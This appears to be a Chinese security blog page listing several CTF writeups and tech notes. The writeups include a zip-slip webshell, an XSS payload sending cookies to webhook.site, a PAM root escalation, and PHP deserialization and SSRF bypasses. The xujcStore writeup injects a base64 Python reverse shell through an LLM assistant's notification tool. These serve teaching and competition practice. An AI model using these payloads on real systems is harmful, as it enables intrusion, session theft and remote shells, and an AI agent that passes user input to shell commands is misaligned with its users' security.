Red的小屋

2026长城杯半决赛easy_time意外发现的另一种潜在解法 | WriteUp

Thu, 16 Apr 2026 00:00:00 +0800

本篇将介绍除网上zip slip漏洞外的另一种解法，针对所给附件docker-compose.yml环境与当时比赛现场环境不一致的情况

环境搭建

附件给了docker-compose.yml，直接docker-compose up -d即可，mac上要把5000改成其他，否则会和airdrop冲突

但要注意，本题直接用附件所给的docker-compose启动会和比赛时的环境不一致，也是为什么会有第二种解法的原因，具体将在攻击部分讲解

攻击

通过浏览整个项目的文件结构可以发现，有两个web部分，一个是php，一个是flask，而根据docker-compose.yml可知对外提供能访问到的是flask，所以先看flask的逻辑

先看路由，发现大部分路由都需要经过login_required

跟进这个装饰器，发现它通过另一个is_logged_in()判断是否已登录

这个is_logged_in()只会检查cookie里的visited是否为yes，以及user是否有值，所以不需要什么绕过，只要有值就行

另外，还有一个硬编码过的2层md5密码，其实明文是secret，用hashcat可以很容易跑出来

hashcat -m 2600 -a 0 hash rockyou.txt

登录逻辑大概就是这样，不过比赛时我居然在类似下面这样的好多地方纠结了好久为什么没有SSTI ？太久没碰CTF导致的……

顺便补一下上面这样的构造并不会造成SSTI，下面这样才会，原理：https://xz.aliyun.com/news/3311

既然不存在直接的利用点，那就只能回到逻辑分析，粗略浏览路由后会发现主要路由只有/plugin/upload和/about，/board尽管有写库的功能，但是sqlite，所以先不管

先看/about，主要逻辑就是下面这段

先对上传后缀做过滤，再从数据库里拿出信息给flask渲染，其中avatar_url还会经过一个fetch_remote_avatar_info的函数，跟进

就是很简单的curl，本身没有利用点。但问题就在于它另一个php服务存在于一个环境里，由此可以引出SSRF，并且php自带了一个phpinfo.php，所以来到about页面将头像地址改成php服务地址试试

成功访问，但没有发现什么特别的东西，而且目前还没发现进一步利用到RCE的点，所以继续看另一个路由

可以看到仅支持上传.zip文件，并将上传上来的zip文件名做secure_filename防止路径穿越(注意这里只过滤上传的zip文件本身，不会检查zip文件里的文件)后，最终交给safe_upload函数，跟进一下

遍历zip文件中的文件，将文件名与dest_dir合并后赋值到target，如果是文件夹则确保或创建该文件夹存在，否则将文件写到完整的target路径里。

其实这是个很类似解压到操作，但又不是标准的解压方法，真正使用zipfile解压zip的方法应该是下面这样

with zipfile.Zipfile("example.zip","r") as zips:
zipf.extractall("/tmp")

但这道题里的这种"解压"实质上是一种文件迁移，将zip的内容读出来再写入，而不是真正地去解压它

操作的空间就在这里，os.path.join对路径的处理并不会做像secure_filename那样过滤路径回退的操作，甚至会优先解析绝对路径(如下target3)，如下

由此可知，可以通过让被压缩的文件名带有/或../这样的格式，达到任意目录写文件的目的。并且由于flask没开热更新，所以肯定不是覆写.py来拿webshell，只能写php webshell

所以只要构造一个文件名为’/var/www/html/shell.php’的文件就能成功写入，但linux和macos都不支持直接创建带/文件名的文件，所以我们只能用zipfile这个库直接创建一个带有这样文件的压缩包

import zipfile
with zipfile.ZipFile("eval.zip","w") as f:
f.writestr("/var/www/html/shell.php","<?php system('ls');?>")

赛事环境与附件所给不一致导致的利用失败

此时如果直接上传这个文件，理论上应该是可以正常解压最后利用ssrf getshell才对，但情况并不是这样。而是出现了解压失败的报错

参考网上许多赛后复盘wp后发现，当时比赛的环境确实只要上传上面生成的压缩包即可

https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2

https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1

说明两者环境应该有区别，经过一番排查后后发现了原因

xujcLab 4月多校训练赛 xujcStore | Writeup

Wed, 08 Apr 2026 00:00:00 +0800

很久没有出过题了，上一次出题还是在上一次，看到这次4月赛这么多人在玩，就忙里偷闲随便整一个

我会从做题者的视角来写，让大家可以更直观地看到渗透的逻辑链

通过题目描述可以得知，老板最近经常（实际上是1分钟一次）用AI看一件夹克商品，进来看了一下，只有一件商品是夹克

随便注册一个用户，上来后发现给了个邮箱服务，其他没发现什么有价值的东西，那就玩玩AI吧

既然老板经常看这件夹克，那我们也看一下

可以看到，会显示客户评论，和商品页面下看到的一样，所以它的功能其实很简单，就是把评论区的内容照搬过来。既然这样，如果这里存在xss漏洞，老板的账号如果执行了我预先埋在评论区的xss payload，我就可以拿到他的cookie，上他的号看看。所以先来验证一下有没有xss

回到夹克商品页面，随便打个alert试试

可以看到没有执行，因为被包在了div容器里，但并没有做过滤或转译，所以试试img标签直接看外带能不能成

重新操作一遍后，最多等待1分钟左右，会发现成功收到回显

既然可以外带，那就准备外带cookie的payload，既然script不行就用img

<img src=x onerror="location.href='http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c='+document.cookie">

拿着外带回来的session就能登录到管理员akared777用户

会发现多出一个管理员后台，但也没有什么特别的东西，只能证明我们已经成功登录到管理员用户，所以既然还是搜集不到东西那就再玩玩ai吧，老板喜欢玩的东西肯定不简单

这里我们如果用普通用户问一样的问题，会发现普通用户只有第一个功能product_info，只有管理员才会多出这么多功能。

不过，llm最大的问题就在于同样的问题不一定能够被稳定复现，所以最稳妥的问法还是从它的功能原理——API问起

当然，要是中文不行，题目一开始的提示里告诉了英文最佳，在实战中也是个很常用的tip，这里就不演示了

经过排查后，关注点锁定在dispatch_notification这个功能，

可以搜看看

命令行吗？有点意思，斗胆试一下命令拼接

这里它给的用法里没有指定是哪个工具，如果只发一个json它应该会不认得，所以在前面加上api的名字

会发现akared777的邮箱并没有收到邮件，但我并没有直接放弃测试这个api，毕竟这是道渗透题，环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱，所以开个无痕登录一个普通用户

会发现普通用户的邮箱地址和管理员不太一样，加了一串随机字符。所以我们拿它重新尝试一下

会发现还是没有收到邮件，所以我开始推测可能是我写的格式不对或内容不行，删减自己的json数据，到最后尝试让他只发送一封空邮件

成功收到

会发现它已经自己写好了内容，也就是content，所以可能是怕我做命令拼接，所以会丢弃内容，并拦截

不过到目前也只验证能发件，content又被ban了，那还有什么地方是可控的，可能存在拼接的吗？对，还有一个用户名，而且这个邮件自带一串随机字符，说不定发件定位用的不是用户名，而是这串随机字符，那就梭一把

get it，至此我们就成功拿到了webshell，然后就是最喜闻乐见的反弹shell

会发现空格遭到了过滤，而且太多引号也会导致奇怪的失败，这也是渗透常有的事，就不多展开，直接上我的payload

dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com

因为根据请求头会发现用的是python，所以直接用python弹更稳定

接着就是提权环节了，会发现root没有权限进去

接着就是上可读可写可执行的查找三板斧，会发现可写里有个值得注意的家伙

pam是linux的统一权限管理接口，用来管理linux程序的权限划分，可以利用覆写配置达到提权

没有读权限，但有写权限，那就只能靠蒙，看能不能蒙到可以直接利用的东西，直接试试最常见的su看有没有

echo "auth sufficient pam_permit.so" > /etc/pam.d/su

能写说明事先没有这个文件，现在我们写了用的就是我们的，最后执行su就能利用配置文件成功获得root

具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969

[技术杂谈]低成本搭建iOS原生VPN，告别小火箭

Wed, 07 Jan 2026 00:00:00 +0800

~~贫穷再一次激起了人的创造力~~

~~上一次:[技术杂谈]低成本windows远程控制直连方案（无需VPN组网）~~

前言

这次事情的起因是最近换了新的传输协议xhttp，三台电脑上平时在用的xray和v2ray内核都成功跑通了，本以为可以在我的16e上愉快的使用时，却发现自己的小火箭内核版本过低，传输协议选项中没有xhttp

那么看到这解决办法肯定就是要去更新，但由于我的apple id目前在国区，要更新就得换到当时买火箭的美区。但又因为我在国区有apple music，此时如果换区就会导致我的资料库被删掉，就此触发音乐圈经典老番🤣👉

我可不想自己整理了大半年的音乐库凭空消失，所以换区这条路肯定是不行了。此时肯定有聪明的观众会说可以换一个在美区并且有火箭的apple id，但这又会导致我apple钱包里的卡被全部解绑，换回我自己的国区id时得一张一张重新绑。更重要的是，必须是”有火箭“的美区id，相当于我又得重新花二十多块钱买个火箭，或者还得找人去借一个

所以，求人不如求己，~~一个黑客最基本的素养就是要想办法花最少的钱办最大的事~~，就有了这篇博客

（另外顺便解释一下为什么需要小火箭这类网卡层代理，而不使用无线网络连接时设置里的http/socks5代理？原因其实很简单，一是DNS泄漏的问题(可以看[技术杂谈]一篇聊完DNS投毒、泄露)，二是iphone上绝大多数应用会无视这个设置导致仍然无法使用）

需要准备

一台闲置linux服务器。用来跑xray/v2ray/singbox/clash等各种代理内核，我用的是家里的一台闲置电脑。如果你没有，也可以随便拿台vps，不过最好不要是国内厂商的，原因你懂的
(选用)一个公网ipv4地址。最好的办法就是随便找台带公网v4地址的vps，我自己正好手头有台闲置的阿里云。这台vps就可以是国内厂商，并且最好是在国内，因为是出门在外做转发会用到，下文会介绍原因以及为什么不能是ipv6。

当然，如果你只是想在自己家里科学上网，并且你的iOS设备可以和你的闲置电脑在一个网段下，那完全可以不需要这个公网v4地址。

设计思路

因为iOS本身支持的vpn协议类型有限，所以必须要搭建一个符合其所支持协议的vpn服务，并将它的流量统一转发给代理内核本身提供的的socks5，因此就可以通过连接路径粗略总结出搭建路径

iphone -> vpn服务(用docker搭建并创建专属网段) [ ->编写流量规则，在防火墙上把vpn服务接到的流量做标记 -> linux内核将做过标记的流量根据路由表发给特定网卡 -> 网卡转交给socks5 ] ->xray/v2ray/singbox提供的socks5代理

开始

先来介绍一下iOS自带的VPN功能。就拿我目前正在使用的iOS 18举例，一般来说，如果你此前从未使用过类似小火箭这样的软件，那么自带VPN入口大概率会在"设置"->“通用”->“VPN与设备管理"底下

如果你用过，那么在网络连接相关设置附近应该也能看到

在添加VPN配置中查看可添加的VPN类型，可以发现只支持这三种

其实第一种和第三种他们本质上都是第二种IPsec的"套壳”，从传输特征和加解密复杂度上看没有太大区别，只不过在验证逻辑和配置上略有不同。我们待会儿会用到第三种"L2TP"

来到我准备好的闲置linux服务器上，先配置好自己的代理内核，可以是你的clash，又或者v2ray等等，这里我就不做介绍了，直接拿准备好的代理测试一下

成功代理到了我的美中节点，那么此时我们的目标其实很清晰，就是想办法让我的iphone通过自带vpn所支持的协议与我的服务器建立链接，并将我iphone上的请求全部转交到服务器的socks5代理上

也就是我们需要搭建一个vpn服务端供我的iphone连接

实现在家可用

因为我不想脏了自己的环境，毕竟我的服务器还要跑别的东西，同时为了方便后续做流量规则，所以我选择用把vpn服务架在docker。先给我的vpn服务创建一个专属网段

docker network create --subnet=172.20.0.0/16 vpn_net

接着直接用别人包好的hwdsl2/ipsec-vpn-server镜像即可一键部署。如果对vpn有研究的观众并且用过这个镜像可能会有问为什么不设置固定的dns，以防dns泄露？其实如果不设置就可以将dns请求也一并交给代理节点，也就没有dns泄漏的问题

docker run -d --name ikev2-vpn \
--restart=always \
--privileged \
--net vpn_net \
--ip 172.20.0.2 \
--name vpn\
-p 500:500/udp \
-p 4500:4500/udp \
-e "VPN_IPSEC_PSK=预共享密钥(随便填)" \
-e "VPN_USER=用户名" \
-e "VPN_PASSWORD=密码" \
hwdsl2/ipsec-vpn-server

如果成功，你应该能在日志里看到类似这样的输出

2025 TKKCTF | WriteUp

Sun, 07 Dec 2025 00:00:00 +0800

本篇wp还总结了本届TKKCTF在使用新版docker与xinted时，在Pwn方向上题/出题阶段遇到的问题的解决方法，以及密码题Isomorphia_revenge出现非预期解的原因与解决方法，希望能给各位校外师傅将来出题提供点帮助，再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员，TKKC Sec因为有你们而变得更好～

Web

Eat

2023 TKKCTF - 好吃，爱吃，多吃

Real or AI

本题灵感来源于

有很多人在群里晒自己的得分，不过这对一个训练有素的hacker来说应该想要多高就有多高

网页内容基本没有变化，先来看看怎么修改得分

最低1张图1局，我们就先随便玩一局看看显示结果的页面有什么值得注意的内容

运气不太好。此时你如果只是想到群里晒得分，可以直接修改HTML的内容

可是这样一点也不真实，左边的圆圈应该要随正确的比例填满，所以直接修改HTML的方法显然不是最好的，因此我们就要进一步看看前端还有什么别的实现

在js部分发现了这个

资源结构很简单，出了这个js外没有别的脚本，因此应该只要分析这个脚本就行。

分析过前端逆向的人应该都知道，前端逻辑代码大部分都是经过混淆或者加密处理的，这个网页也不意外，所以如果直接通过打随机断点去分析，工作量会很大。因此我们需要找到一个明显又值得关注的东西，回到刚才我们随便玩的一局里，观察到“score”这个字符串，负责表示分数，所以我们就随便搜一搜

范围一下被缩小到了6个，所以我们就只需要观察这6个地方的逻辑，应该就能找到突破口

通过观察，最后可以将目标锁定在这个结果

为什么是这里？这是6个结果中的第2个，如果我们把刚才的6个结果都看过去，可以在第6个结果中看到这样一段

通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西，而后面这三个值被赋给了Yy，也就是6个结果中第2个结果的那个函数，所以如果能操控Yy，很大概率我们就可以控制最后的输出结果。

我没有对Yy做很细致的分析，不过粗略的看一眼也能获得证实我们上面想法的线索

如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮，会发现他会复制一段话，而这段话的片段很明显就是这几行代码组成的，因此这更加证实了Yy就是负责最后输出页面内容的函数。

而经过对这几行代码的分析也有别的发现，那就是变量o，这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里，会发现o变量就是由totalRounds和score组成的

所以思路到此就很清晰了，我们可以尝试在o变量被赋值的地方下条件断点，让o使用我们自己定义的e和t，就能达到随意控制最终输出结果的目的。

此时我们再去玩一局，就会发现成功触发断点

放行全部断点后就能得到

此时如果你只是想炫耀999的截图任务，就已经完成了。但对于CTF选手来说，走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法

如果你头铁，可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag，那就看看后3个

很明显这就是我们要找的东西，获得方法也很简单，e和t我们刚才都已经分析过（理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么，当然也不乏可以猜出来）写个计算sha256的脚本就能解决

#!/bin/bash
e=999
t=999
salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的，需要你自己替换
msg="${salt}${e}${t}"
hash=$(echo -n "$msg" | sha256sum | awk '{print $1}')
curl "https://47.122.52.77:33695/secrets/$hash.txt"

SecOps

访问题目，被重定向至登录页面

在登录页面可以发现一个下载接口/common/download?file=

2025 TKKCTF Beginner | WriteUp

Sat, 06 Dec 2025 00:00:00 +0800

本次WriteUp为各出题人收集版，如遇问题可以找对应题目出题人

Web

彩蛋

顺便解释一下为什么是“可能见过也可能没见过”

以及为什么提示叫“挖掘xujclab.com”

easy_upload

wp-2.pdf

ez_http

出题者 zsm 留言：第一次出web题，质量不算特别高，请见谅

源码

<?php
echo "<h1>你知道http协议吗？</h1>";
echo "<h1>不知道？还不去查查!!!</h1>";
echo "<h2>你知道怎么修改请求包吗？</h2>";
echo "<!-- 你也许需要一个工具？看看web手册呢？ -->";
$flag = file_get_contents('/flag');

$flags = str_split($flag, 5);

if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') {
 die('请使用xujcBrowser浏览器访问');
}
echo $flags[0];

if (!isset($_GET['hello'])) {
 die('<br>请用GET方式传递hello=world');
}
echo $flags[1];

if ($_GET['hello'] != 'world') {
 die("<br>hello参数不正确");
}
echo $flags[2];

if (!isset($_POST['web'])) {
 die('<br>请用POST方式传递web=security');
}
echo $flags[3];

if ($_POST['web'] != 'security') {
 die('<br>web参数值不正确');
}
echo $flags[4];

if (!isset($_COOKIE['flag'])) {
 die('<br>请设置cookie flag=secret');
}
echo $flags[5];

if ($_COOKIE['flag'] != 'secret') {
 die('<br>cookie flag值不正确');
}
echo $flags[6];

if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') {
 die('<br>请从http://localhost:8080/访问');
}
echo $flags[7];

if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') {
 die('<br>请从127.0.0.1访问');
}
echo $flags[8] . "<br>";
echo '<h1>看来你知道http协议了</h1>';

首先你要去学一下http协议，以及了解一下这个包里面的内容

[靶场笔记]第二十五章

Mon, 18 Aug 2025 00:00:00 +0800

ssh -R和-D

先来说说-R

这是个很神奇的参数，有两种用法

-R 1080
-R 1080:localhost:1080

后者和-L用法是反过来的，-L是将远端端口映射到本地端口，这样在本地就能访问远端服务器的服务。-R则是将本地端口映射到远端，这样在远端就能访问本地端口的服务。

前者就厉害了，研究时被AI误导了很久

注意框起来这段话，意思就是，在不使用localhost等指定本地映射的地址和端口号时，会在本地(运行ssh指令的这台机器)自动起一个socks4/5代理服务，并且不会进行转发功能(经过测试得知)。所以如果你想要转发功能而不是让ssh帮你起一个socks4/5，就要写完整。而且ssh起的这个socks代理并不好用，会出现export https_proxy无法正常生效的问题(但proxychains可以)

-D就更厉害了，如果在远端服务器上有一些需要你访问，但你又没有权限运行一些类似gost这样的代理工具，就可以用-D来搭建一个socks服务。不仅可以用-L，也可以用-D，-D的原理是在远端起一个socks4/5代理，你只需要在自己电脑上的浏览器将代理地址修改成127.0.0.1:1080，就能用ssh帮你在远端起的代理访问远端的服务，非常适合在低权限渗透环境下使用的一个参数

stripos(‘akared’,$b)

正常情况下，会返回akared所在的起始位置，没找到返回false

如果$b为数组，stripos则会返回null

basename($a)

假设$a='/var/www/html/../ii.php';，会返回ii.php

而且各种截断手法在这里基本没有作用，只有一点值得关注，就是特殊字符会被它删掉，比如中文、%ff

对__PHP_Incomplete_Class_Name的补充

在靶场笔记第24章有对__PHP_Incomplete_Class的介绍，最近在CTF里碰到了，再补充一点

当我们手动为__PHP_Incomplete_Class类赋值并反序列化再序列化它时，他会将储存的内容清除。但如果我们手动赋值的是__PHP_Incomplete_Class_Name，它会将它所赋的值在serialize时将类名覆盖成我们赋的值，具体用法如下

<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
var_dump(serialize(unserialize($raw)));
//
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "F"
["a"]=>
string(1) "b"
}
string(28) "O:1:"F":1:{s:1:"a";s:1:"b";}"

这种特性就可以用来绕过下面这种情况

public $value;
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
include($instance->getToken());
}

我们的目标是让$instance=new Access;，要达到这一点就是要让$ser='O:6:"Access:"...'，但$value的值又不能和$ser一样，因此我们要找一个能经过serialize(unserialize())处理后与目的一致且字符串又不是$ser的技巧，也就是我们的__PHP_Incomplete_Class_Name

具体生成payload如下

$token = new Access();
$ser = serialize($token);
$ser = str_replace('Access":2', 'LilRan":3', $ser);
$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';
$user->value = $ser;

这样经过两层处理后的$value不仅能达到我们目标$ser的效果，又和$ser在字符串上不一样，因此就能绕过

2024 Seccon13 Online Web | Writeup

Sun, 08 Jun 2025 00:00:00 +0800

ssrf-self

非常超模的一题，能做出来的都是狠人(当然不排除很大一部分是猜对的，实际分析起来确实复杂)

先来看代码

用bun起的服务，这个bun是个什么呢？可以理解成一种全新的nodejs，对nodejs很多功能进行了重构提升性能

非常正常的包引用。接着来看逻辑代码。

根路由判断了query是否给flag传值，如果传了才能继续跳转到其他路由。也就是说，不管访问的是什么，因为有next事件的存在，所以必须经过根路由的这个检查

携带正确的flag值访问flag路由就能得到flag。但我们肯定不知道flag是什么

最后就是ssrf路由，会把请求拿去URL类做实例化，并判断是否正确与LOCALHOST进行拼接，重新赋值pathname为flag，添加参数flag和正确的flag值，代替我们访问/flag路由。

乍一看好像直接访问/ssrf就应该返回给我们正确的flag才对，但问题就在于根路由的next，必须先赋值正确的flag值才能访问ssrf

看到这里我就在想，append是会把flag覆盖过去还是把flag变成数组添加一个值？用附件起一个服务试试

为了看到传到flag路由的具体内容是什么，我们需要修改一下代码

注意只能存在一个res.send，否则会报错

先来看看直接传flag值会发生什么

跳到了正则表达式的第二个结果里。而我们的目的肯定是第一个结果，所以来看看传进来的req.query是什么

会发现append最终是把我们的flag参数变成了数组，所以不会跳到第一个结果。

那要怎么绕过呢？猜测漏洞点应该就出在

URL对req.url的处理，可能存在什么符号或格式让URL类在过了根路径的检查后仍然认为flag这个参数不存在
bun本身自带的express框架对req.query的识别与URL对req.query的识别不一致

而两种思路也正对应了这题的两种解法

1./ssrf?flag[=]

我们在php里经常用?a[]=1&b[]=2来绕过md5比较，在js里也有类似的用法。比如我们想用url给某个数组的某个键值赋值，可以用这种方法

?flag[1]=1

那要是我们的键值不是数字，而是别的什么呢

接下来就是想办法怎么让req.query觉得存在flag参数，又让URL觉得不存在flag参数

方法就是标题里的payload。当传进来的值是flag[=]时，req.query会觉得你在给flag的=键赋值，URL会觉得你在给flag[赋值

2./ssrf?flag\ufeff

先来看看bun带了什么模块

负责url处理的猜测是parseurl。且在express/lib/requests.js里也能看到引用

到github搜项目https://github.com/pillarjs/parseurl/blob/1.3.3/index.js

读取到URL数据后先判断是不是空的，如果不为空，将在缓存中查找是否存在（fresh方法）。如果不存在，将进入fastparse

判断url是否是字符串且以/开头。如果不是则交给bun更底层的parse函数去处理

这个parse函数又是怎么处理的呢？这就得进到bun到项目文件里一探究竟了https://github.com/oven-sh/bun/blob/bun-v1.1.36/src/node-fallbacks/url.js#L49

这一段主要就是对反斜杠进行处理，然后赋值url给rest

紧接着将rest后面的空白符删除

什么是空白符？有很多，其中有个比较不常见的叫BOM（Byte Order Mark）分隔符

接着先回到parseurl往下继续分析

如果没跳进上面的if，就会来到这个for循环。简单来说就是先以?为分隔符分出三个部分，再对各种特殊字符作处理，但有一个case格外亮眼，就是0xfeff

意思就是，如果我们的发送的数据里带了0xfeff（也就是\ufeff）也会跳进parse进行处理

而根据我们上面对parse的分析，他会将包括0xfeff在内的空白符删掉，导致在req.query做判断时会认为我们传递进来的参数就是flag而不是flag\ufeff，因此就能绕过undefined

但URL类并不会认为flag和flag\ufeff是一样的，他会认为这是两个不一样的变量，在append时就会单独起一个flag变量赋值

持续更新ing……

2024HKCert CTF 线上赛 Web | Writeup

Tue, 13 May 2025 00:00:00 +0800

前言

~~一直从去年比赛结束拖到现在，我也是个神人了~~

本篇将复现Web方向全部题目（不包括PWN+Web），包括step by step

已知用火 (1) / Custom Web Server (1)

一道C语言web题，比较少见，不过仔细分析一遍后会对C语言的socket编程有初步的理解，所以我们来详细分析一下

拿到附件后发现只有srv/里的静态文件和server.c的逻辑，那就来看c程序

首先是setvbuf

这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。

当我们在对系统进行输入与输出时，系统并不会直接从物理硬件读取内容，而是会放到缓冲区里，等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲，会将我们输入的内容全放到NULL里，也就是空，这样做的目的就是让我们在标准输入和输出无法控制这个程序。

接着声明服务地址与客户端地址

之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“，但为了方便理解我这里直接叫他socket变量。

我们要想为C语言程序创建一个服务端待连接套接字(socket)，就需要先创建一个变量，接着再一步步创建bind（用于为socket变量绑定地址）、listen（开启监听）、accept（收到客户端请求后确认连接）、recv（接受数据）、close（关闭连接）等，可以看下面这幅图。更详细的内容可以看这篇文章

这就是socket连接的大概流程，接着我们来解释一下这里参数的意思。

AF_INET：这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain)，又称为协议族（family），常用的协议族有AF_INET（IPv4)、AF_INET6(IPv6)、AF_LOCAL（或称AF_UNIX，Unix域socket）、AF_ROUTE等等
SOCK_STREAM：这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型，常用的socket类型有，SOCK_STREAM（流式套接字）、SOCK_DGRAM（数据报式套接字）、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等
0：这个参数意为自动选择传输层协议。这个参数位为选择传输层协议，常用的协议有，IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等，它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意，IPPROTO_TCP只能搭配SOCK_STREAM，因为TCP是流式传输，每个数据包之间有关联性，而不像UDP前后不分。

接着就是手动配置服务端地址

其中，INADDR_ANY表示0.0.0.0，htonl函数的作用是将电脑的小端序改成网络字节流的大端序

接着就是绑定地址和监听，bind和listen函数如果运行成功将返回0

listen函数的第二个参数意为最大的连接等待排队个数，因为这里暂时（下面使用了多进程）没做多线程处理，所以listen一次只能处理一个连接

最后用accept函数确认连接，至此我们就能成功与客户端保持连接了。

接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上，listen就能去处理排队里的下一个连接

handle_client函数为自定义函数，所以我们接着来分析一下

首先声明了两个字符数组，这个没什么好说的

接着用memset初始化，将所有数组空间用0填充

接着将从客户端发送来的数据包内容保存到buffer数组里

接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php，那么requested_filename就为index.php

这里我在分析的时候比较疑惑为什么不是整个http请求包，而是只有一个index.php，其实仔细想想就会发现，%s会读以“空格”或“换行”为截断去读取内容，而此时buffer的内容应该长这样

GET /index.php HTTP/1.1\r\nHost: localhost\r\n...

很明显后面有空格，所以就不会包含整个包体。算是用得挺巧妙的一个地方

之后又是一个自定义函数，不过我们先不着急看它怎么实现，从样子上大概可以看出来它是用来返回500.html的页面内容

接着来到这句

FileWithSize是一个自定义结构体

也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数，跟进一下

上来又是一个自定义函数ends_with，继续跟进

一个很简单的判断逻辑，判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等，第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵，经过查阅后得知C语言中字符数组如果被拿来加减，其实就会改变其指针指向的位置，这里的运算操作就恰好能让指针落在后缀名里的.符号上，是第二个利用得很巧妙的地方

因此我们可以得知只能用这四种后缀名。回到read_file

定义数组和赋值，snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后，为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符，包括public/。并且，根据snprintf的特性，它允许输入的内容长度大于第二个参数位的值，甚至是第一个参数位的数组大小，因为它只会输入第二个参数位那么多的字符，这正是漏洞点。

因为public/恰好占了7个字符，如果我们将filename的数量控制在1019个字符（因为在handle_client中的sscanf存在一个/，所以发包的时候记得从第一个/之后开始算起），且最末尾为.js（当然也可以是其他几个允许的后缀），这样就恰好能将.js排除在1024之外，并且根据后文的内容可以得知real_path为读取文件内容的路径，这样就能轻松地达到读取任意文件的目的

已知用火 (2) / Custom Web Server (2)

为了彻底搞清楚这题的原理，耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明，大部分wp认为填充字节是为了绕过nginx，其实并不是，且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下

[技术杂谈]低成本windows远程控制直连方案（无需VPN组网）

Wed, 07 May 2025 00:00:00 +0800

~~贫穷真的会激起人的创造力~~

前言

最近经常在学校用mba远控家里的windows，又被todesk、uu远程这类远控软件的逆天延迟搞的口吐芬芳（

唉，资本，你又赢了

一怒之下决定自己搭一个可以直连的远程控制服务，以便在外也能愉快使用

原理

要想自己搭建远控服务，就先来了解一下现在市面上远控软件的主要原理。其实很简单，就是两台电脑利用远控软件提供的中转服务器作为桥梁传输RDP协议数据

这是最常见的模式，也叫Relay。这种模式是延迟最高的，因为两台电脑都需要连接到一台中转服务器上，而两边各自的链接质量都会影响你的最终体验

还有一种就是前言里提到的P2P (peer to peer)，也就是直连，一般是先接入Relay，然后再利用udp打洞的形式让各级路由告诉你的两台电脑在其各自nat下的ip地址，以此达到类似直连的效果。这种模式看似方便，但实际上容易出现某一层nat不愿交出路由信息导致最终只能无奈妥协转成Relay的情况

由此可见，在传统的网络架构下，要想用ipv4做到简单部署显然是不可能的，因为现在绝大多数电脑都藏在一层又一层的nat下。所以我们不妨换一个思路，既然v4不行，那就用v6吧

准备工作

开启RDP服务

如果你是windows vista以上的非家庭版，那么只需要打开 控制面板->系统和安全->允许远程访问，将这个勾上

因为这篇文章主要面向在校学生，现在大多windows笔记本又是默认不提供远程访问功能的家庭版，所以下面将教大家怎么为win10/11家庭版破解出远程功能。如果你不需要这一部分教程可以直接跳过。

怎么判断自己需不需要破解呢？我以自己的win11为例，在设置里搜索远程

如果出现下面这样就说明你需要破解

首先需要到这里下载最新版.zip文件

解压后以管理员身份运行这个，为你的windows安装远程控制服务。

运行完打开这个，根据提示操作。操作完关闭后打开这个，进入配置页面

打开后，理论上你的第三行应该都会是红的（因为我已经可以用所以是绿灯），因为你还没将自己的系统相应的配置文件配置好。记住第二行后面的这串数字，我这里是10.0.22621.5124，每台windows的版本都可能不一样，你只需要知道你自己的就行

来到项目issue页面，将你的这串数字贴进去搜索

点进第一条，看看有没有提供配置文件。如果有，就直接复制使用，如果没有，就继续找。

